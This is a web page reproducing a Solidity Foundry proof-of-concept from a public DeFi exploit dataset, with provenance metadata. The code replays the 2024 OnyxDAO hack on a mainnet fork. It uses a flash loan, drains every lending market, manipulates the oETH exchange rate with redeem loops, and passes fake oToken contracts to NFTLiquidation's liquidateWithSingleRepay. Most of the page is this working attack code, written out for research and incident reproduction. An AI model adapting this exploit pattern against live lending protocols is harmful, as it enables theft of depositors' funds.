Public reproduction file
src/test/2024-09/OnyxDAO_exp.sol
Public reproduction file for dataset entry OnyxDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)8// Attacker : https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b9// Attack Contract :10// - Main: https://etherscan.io/address/0xa57eda20be51ae07df3c8b92494c974a92cf895611// - Rate Manipulator: https://etherscan.io/address/0xae7d68b140ed075e382e0a01d6c67ac675afa22312// - Fake oTokenRepay: https://etherscan.io/address/0x4f8b8c1b828147c1d6efc37c0326f4ac3e47d06813// - Fake underlying: https://etherscan.io/address/0x3f100c9e9b9c575fe73461673f0770435575dc0e14// - Fake oTokenCollateral: https://etherscan.io/address/0xad45812c62fcbc8d54d0cc82773e85a11f19a24815// Vulnerable Contract : (NFTLiquidation) https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee1900216// Attack Tx : https://etherscan.io/tx/0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d872917// @Info18// Vulnerable Contract Code : https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002#code19// L671-678, liquidateWithSingleRepay() function20// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)22// Contracts involved23address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;24address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;25address constant oETH = 0x2CCb7d00a9E10D0c3408B5EEfb67011aBfaCb075;26address constant Unitroller = 0xcC53F8fF403824a350885A345ED4dA649e060369;27address constant oXCN = 0xBD20ae088deE315ace2C08Add700775F461fEa64;28address constant oDAI = 0xF3354d3e288CE599988e23f9ad814Ec1b004d74a;29address constant oBTC = 0x7a89e16Cc48432917C948437AC1441b78D133A16;30address constant oUSDT = 0x2C6650126B6E0749f977D280c98415ed05894711;31address constant oVUSD = 0xeE894c051c402301bC19bE46c231D2a8E38b0451;32address constant VUSD = 0x0BFFDD787C83235f6F0afa0Faed42061a4619B7a;33address constant NFTLiquidationProxy = 0x323398DE3C35F96053D930d25FE8d92132F83d44;34address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;36address constant XCN = 0xA2cd3D43c775978A96BdBf12d733D5A1ED94fb18;37address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;38address constant BTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;39address constant _USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;41contract OnyxDAO_exp is Test {42 address attacker = makeAddr("attacker");44 function setUp() public {45 vm.createSelectFork("mainnet", 20_834_658 - 1);46 }48 function testPoC() public {49 vm.startPrank(attacker);50 AttackerC attackerC = new AttackerC();52 // tx:53 attackerC.attack();55 console.log("Final balance in VUSD :", IERC20(VUSD).balanceOf(address(attacker)));56 console.log("Final balance in XCN:", IERC20(XCN).balanceOf(address(attacker)));57 console.log("Final balance in DAI:", IERC20(DAI).balanceOf(address(attacker)));58 console.log("Final balance in WBTC:", IERC20(BTC).balanceOf(address(attacker)));59 console.log("Final balance in USDT:", IERC20(_USDT).balanceOf(address(attacker)));60 }61}63contract AttackerC {64 address attacker;66 function attack() external {67 attacker = msg.sender;69 address[] memory tokens = new address[](1);70 tokens[0] = weth;71 uint256[] memory amounts = new uint256[](1);72 amounts[0] = 2000 ether;73 IFS(balancerVault).flashLoan( // L274 address(this),75 tokens,76 amounts,77 hex"3030" // WHY????78 );79 }81 function receiveFlashLoan(82 address[] memory tokens,83 uint256[] memory amounts,84 uint256[] memory feeAmounts,85 bytes memory userData86 ) external {87 uint256 balWETH = IERC20(weth).balanceOf(address(this)); // L789 IFS(weth).withdraw(balWETH); // L890 uint256 cashOETH1 = IFS(oETH).getCash(); // L1191 IFS(oETH).mint{value: balWETH - 0.5 ether}(); // L1293 address[] memory markets = IFS(Unitroller).getAllMarkets(); // L2294 IFS(Unitroller).enterMarkets(markets); // L24 WHY?96 uint256 cashOETH2 = IFS(oETH).getCash(); // L3697 IFS(oETH).borrow(cashOETH1); // L3798 // go to fallback100 uint256 cash0 = IFS(oXCN).getCash(); // L201101 IFS(oXCN).borrow(cash0); // L205102 address underlying0 = IFS(oXCN).underlying(); // L381103 IFS(underlying0).transfer(attacker, cash0); // L382105 uint256 cash1 = IFS(oDAI).getCash(); // L384106 IFS(oDAI).borrow(cash1); // L388107 address underlying1 = IFS(oDAI).underlying(); // L564108 IFS(underlying1).transfer(attacker, cash1); // L565110 uint256 cash2 = IFS(oBTC).getCash(); // L567111 IFS(oBTC).borrow(cash2); // L571112 address underlying2 = IFS(oBTC).underlying(); // L747113 IFS(underlying2).transfer(attacker, cash2); // L748115 uint256 cash3 = IFS(oUSDT).getCash(); // L750116 IFS(oUSDT).borrow(cash3); // L754117 address underlying3 = IFS(oUSDT).underlying(); // L930118 IUSDT(underlying3).transfer(attacker, cash3); // L931120 (, uint256 liq,) = IFS(Unitroller).getAccountLiquidity(address(this)); // L933122 address ChainlinkOracle = IFS(Unitroller).oracle(); // L1183123 uint256 uPrice = IFS(ChainlinkOracle).getUnderlyingPrice(oVUSD); // L1185124 IFS(oVUSD).borrow(liq / 1e12); // L1091126 AttackerC2 attackerC2 = new AttackerC2();127 payable(address(attackerC2)).transfer(0.5 ether);128 attackerC2.attack();130 address fake_underlying = address(new Fake_underlying());131 address fake_oTokenCollateral = address(new Fake_oTokenCollateral());132 address fake_oTokenRepay = address(new Fake_oTokenRepay(fake_underlying, address(this)));134 IFS(VUSD).transfer(fake_oTokenRepay, 1); // L2313136 IFS(NFTLiquidationProxy).liquidateWithSingleRepay( // L2316137 payable(address(this)), fake_oTokenCollateral, fake_oTokenRepay, 4_764_735_291_322);138 IFS(VUSD).approve(uniV3Router, 300_000_000_000);140 IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams( // L2712141 VUSD, // address tokenIn;142 weth, // address tokenOut;143 3000, // uint24 fee;144 address(this), // address recipient;145 1_727_352_120, // uint256 deadline;146 300_000_000_000, // uint256 amountIn;147 0, // uint256 amountOutMinimum;148 0 // uint160 sqrtPriceLimitX96;149 );151 IFS(uniV3Router).exactInputSingle(input); // L2712153 IFS(weth).deposit{value: address(this).balance}(); // L2725155 IFS(weth).transfer(balancerVault, 2000 ether); // L2727157 uint256 BalVUSD = IFS(VUSD).balanceOf(address(this)); // L2729159 IFS(VUSD).transfer(attacker, BalVUSD); // L2731160 }162 receive() external payable {}163}165contract AttackerC2 {166 function attack() external {167 uint256 x = 215_227_348 + 1;168 uint256 y = 330_454_691 + 10;170 IFS _oETH = IFS(oETH);171 _oETH.exchangeRateStored(); // view172 oETH.call{value: x}("");174 for (uint256 i; i < 54; i++) {175 _oETH.exchangeRateStored(); // view176 _oETH.redeemUnderlying(y);177 _oETH.exchangeRateStored(); // view178 oETH.call{value: x}("");179 }181 _oETH.exchangeRateStored(); // view182 _oETH.redeemUnderlying(y);183 payable(address(msg.sender)).transfer(address(this).balance);184 }186 receive() external payable {}187}189contract Fake_oTokenRepay {190 address fake_underlying;191 address attackerC;193 constructor(address _fake_underlying, address _attackerC) {194 fake_underlying = _fake_underlying;195 attackerC = _attackerC;196 }198 function borrowBalanceCurrent(199 address200 ) external returns (uint256) {201 return 0;202 }204 function underlying() external view returns (address) {205 return fake_underlying;206 }208 function liquidateBorrow(address, uint256, address) external returns (uint256) {209 return 0;210 }212 function mint(213 uint256214 ) external returns (bool) {215 return false;216 }218 function balanceOf(219 address220 ) external returns (uint256) {221 return 0;222 }224 function transfer(address, uint256) external returns (bool) {225 IFS(VUSD).approve(oVUSD, type(uint256).max); // L2477226 IFS(oVUSD).liquidateBorrow(attackerC, 1, oETH); // L2480227 uint256 bal_oETH = IFS(oETH).balanceOf(address(this)); // L2691228 IFS(oETH).redeem(bal_oETH); // L2692229 payable(attackerC).transfer(address(this).balance);230 return true;231 }233 receive() external payable {}234}236contract Fake_underlying {237 function transferFrom(address, address, uint256) external returns (bool) {238 return true;239 }241 function approve(address, uint256) external returns (bool) {242 return true;243 }245 function transfer(address, uint256) external returns (bool) {246 return true;247 }248}250contract Fake_oTokenCollateral {251 function balanceOf(252 address253 ) external returns (uint256) {254 return 0;255 }257 function underlying() external view returns (address) {258 return address(this);259 }260}262interface IFS is IERC20 {263 // balancerVault264 function flashLoan(265 address recipient,266 address[] memory tokens,267 uint256[] memory amounts,268 bytes memory userData269 ) external;271 // WETH272 function withdraw(273 uint256 wad274 ) external;275 function deposit() external payable;277 // OEther / OErc20Delegate278 function getCash() external view returns (uint256);279 function mint() external payable;280 function borrow(281 uint256 borrowAmount282 ) external returns (uint256);283 function underlying() external view returns (address);284 function exchangeRateStored() external view returns (uint256);285 function redeemUnderlying(286 uint256 redeemAmount287 ) external returns (uint256);289 // Unitroller290 function getAllMarkets() external view returns (address[] memory);291 function enterMarkets(292 address[] calldata oTokens293 ) external returns (uint256[] memory);294 function getAccountLiquidity(295 address account296 ) external view returns (uint256, uint256, uint256);297 function oracle() external view returns (address);299 // ChainlinkOracle300 function getUnderlyingPrice(301 address oToken302 ) external view returns (uint256);304 // NFTLiquidationProxy305 function liquidateWithSingleRepay(306 address payable borrower,307 address oTokenCollateral,308 address oTokenRepay,309 uint256 repayAmount310 ) external payable;312 // Uniswap V3: SwapRouter313 struct ExactInputSingleParams {314 address tokenIn;315 address tokenOut;316 uint24 fee;317 address recipient;318 uint256 deadline;319 uint256 amountIn;320 uint256 amountOutMinimum;321 uint160 sqrtPriceLimitX96;322 }324 function exactInputSingle(325 ExactInputSingleParams calldata params326 ) external payable returns (uint256 amountOut);328 // oVUSD329 function liquidateBorrow(330 address borrower,331 uint256 repayAmount,332 address oTokenCollateral333 ) external returns (uint256);335 // oETH336 function redeem(337 uint256 redeemTokens338 ) external returns (uint256);339}Analysis
Dataset entry
Public Foundry test for “OnyxDAO” (2024-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
- src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
- src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
- src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
- src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
- src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
- src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
- src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
- src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines
- src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x680910cf5fc9969a25fd57e7896a14ff1e55f36b
- Attack Contract
0xa57eda20be51ae07df3c8b92494c974a92cf8956
- Vulnerable Contract
0xf10bc5be84640236c71173d1809038af4ee19002
- Attack Tx
0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729
- Explorer: https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b
- Explorer: https://etherscan.io/address/0xa57eda20be51ae07df3c8b92494c974a92cf8956
- Explorer: https://etherscan.io/address/0xae7d68b140ed075e382e0a01d6c67ac675afa223
- Explorer: https://etherscan.io/address/0x4f8b8c1b828147c1d6efc37c0326f4ac3e47d068
- Explorer: https://etherscan.io/address/0x3f100c9e9b9c575fe73461673f0770435575dc0e
- Explorer: https://etherscan.io/address/0xad45812c62fcbc8d54d0cc82773e85a11f19a248
- Explorer: https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002
- Explorer: https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002#code
- Reference: https://twitter.com/rotcivegaf
File record
- Name
- OnyxDAO
- Path
- src/test/2024-09/OnyxDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5eedbff4d7c202234a4f4eece14a3bff1ddd01f2
- Language
- Solidity
- Size
- 340 lines
- Date
- 2024-09-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-09/OnyxDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5eedbff4d7c202234a4f4eece14a3bff1ddd01f2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.